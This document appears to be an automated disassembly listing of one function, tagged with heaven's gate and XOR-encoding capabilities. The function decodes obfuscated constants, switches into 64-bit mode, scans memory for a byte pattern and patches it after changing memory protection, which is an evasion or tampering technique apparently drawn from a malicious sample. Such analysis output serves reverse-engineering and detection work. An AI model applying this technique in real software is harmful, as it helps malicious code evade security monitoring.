Function at 0x100084b0
Capabilities:
64-bit execution via heavens gate
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10011220]
sub esp, 0x4c
push ebx
push esi
push edi
test eax, eax
jne 0x100088c1
mov ecx, dword fs:[0x18]
mov eax, dword [ecx + 0xfdc]
test eax, eax
jne 0x100084e4
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov eax, dword [ebp - 0x1c]
jmp 0x1000850d
jns 0x10008502
add ecx, eax
mov eax, ecx
cdq
cmp dword [ecx + 0x30], eax
jne 0x100084f5
cmp dword [ecx + 0x34], edx
je 0x10008507
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov eax, dword [ebp - 0x1c]
jmp 0x1000850d
cmp dword [ecx + 0x18], ecx
jmp 0x100084f3
mov eax, ecx
cdq
mov dword [ebp - 0x18], edx
mov ecx, eax
or ecx, dword [ebp - 0x18]
jne 0x10008528
mov dword [0x10011220], 0xffffffff
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [eax + 0x14d0]
mov edx, dword [eax + 0x14d4]
mov eax, ecx
or eax, edx
jne 0x10008550
mov dword [0x10011220], 0xfffffffe
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
jne 0x100088b2
cmp ecx, 0xffffffff
ja 0x100088b2
cmp dword [ecx + 0x20], 0x14c8664
je 0x1000857e
mov dword [0x10011220], 0xfffffffc
lea eax, [edx - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 8], 0
xor ebx, ebx
mov dword [ebp - 0x48], 0xa69bcfcc
mov esi, 0x8b216608
mov dword [ebp - 0x44], 0x3ed89ba4
mov dword [ebp - 0x40], 0xfb946f78
mov dword [ebp - 0x3c], 0xee85bd57
mov dword [ebp - 0x38], 0xbba6f4a3
nop
mov eax, dword [ebp + ebx*4 - 0x48]
mov cl, bl
mov edx, esi
neg cl
ror edx, 0x1d
and cl, 0xf
not edx
ror esi, 0x1f
ror edx, cl
xor eax, edx
mov dword [ebp + ebx*4 - 0x48], eax
inc ebx
cmp ebx, 5
jb 0x100085b0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.10008930
mov edi, eax
mov eax, edx
mov ecx, edi
mov dword [ebp - 0x18], edi
or ecx, eax
mov dword [ebp - 0x10], eax
je 0x1000889c
cmp dword [ebp - 8], 0x1000
jb 0x1000889c
mov dword [ebp - 0x4c], 0xd4a3bbf5
xor ebx, ebx
mov dword [ebp - 0x48], 0x688befba
mov esi, 0x8b216608
mov dword [ebp - 0x44], 0x8ece1d25
mov dword [ebp - 0x40], 0x8ba4d152
mov dword [ebp - 0x3c], 0xc2d49ba2
mov dword [ebp - 0x38], 0xee9bd33e
mov eax, dword [ebp + ebx*4 - 0x4c]
mov cl, bl
mov edx, esi
neg cl
ror edx, 0x1d
and cl, 0xf
not edx
ror esi, 0x1f
ror edx, cl
xor eax, edx
mov dword [ebp + ebx*4 - 0x4c], eax
inc ebx
cmp ebx, 6
jb 0x10008632
call fcn.1000fc30
lea ecx, [ebp - 0x4c]
push ecx
push edx
push eax
call fcn.10008ed0
or eax, edx
jne 0x1000867f
mov dword [0x10011220], 0xfffffffa
mov eax, 0xfffffffa
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push 4
push 0x1000
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
je 0x100086bf
mov dword [0x10011220], 0xfffffff9
mov eax, 0xfffffff9
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
test eax, eax
je 0x10008723
test edx, edx
je 0x10008723
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], eax
push 0x33
call fcn.100086dd
sub edx, 0x400
xor esi, esi
mov dword [ebp - 8], edx
cmp edx, 0x400
jbe 0x10008886
mov edi, 0xfffffff4
lea ecx, [eax + 0x40c]
sub edi, eax
mov ebx, 0x15ff
mov eax, 0xe9c0
test esi, esi
jne 0x10008793
cmp word [ecx - 0xc], bx
jne 0x10008793
cmp dword [ecx - 6], 0x880fc085
jne 0x10008793
cmp dword [ecx], 0x44660000
jne 0x10008793
cmp dword [ecx + 3], 0x246c3944
jne 0x10008793
cmp byte [ecx + 8], 0x74
jne 0x10008793
cmp dword [ecx + 0xa], 0x22b8
jne 0x10008793
cmp word [ecx + 0xe], ax
jne 0x10008793
cmp word [ecx + 0x12], si
jne 0x10008793
lea esi, [edi + ecx]
inc ecx
lea eax, [edi + ecx]
cmp eax, edx
mov eax, 0xe9c0
jb 0x10008751
test esi, esi
je 0x10008886
push 0x8000
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
call dword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
xor edi, edi
mov byte [ebp - 1], 0x75
add esi, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
push eax
adc edi, dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push 0x40
push eax
add esi, 0x14
mov dword [ebp - 0x24], 5
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], esi
push eax
adc edi, 0
mov dword [ebp - 0x20], 0
push 0xffffffffffffffff
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x10], 0
call fcn.1000ea30
lea eax, [ebp - 1]
mov dword [ebp - 0x18], eax
mov eax, esi
or eax, edi
je 0x1000885a
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], edi
push 0x33
call fcn.10008818
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0xffffffffffffffff
call fcn.1000ea30
mov dword [0x10011220], 1
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [0x10011220], 0xfffffff8
mov eax, 0xfffffff8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [0x10011220], 0xfffffffb
mov eax, 0xfffffffb
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [0x10011220], 0xfffffffd
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret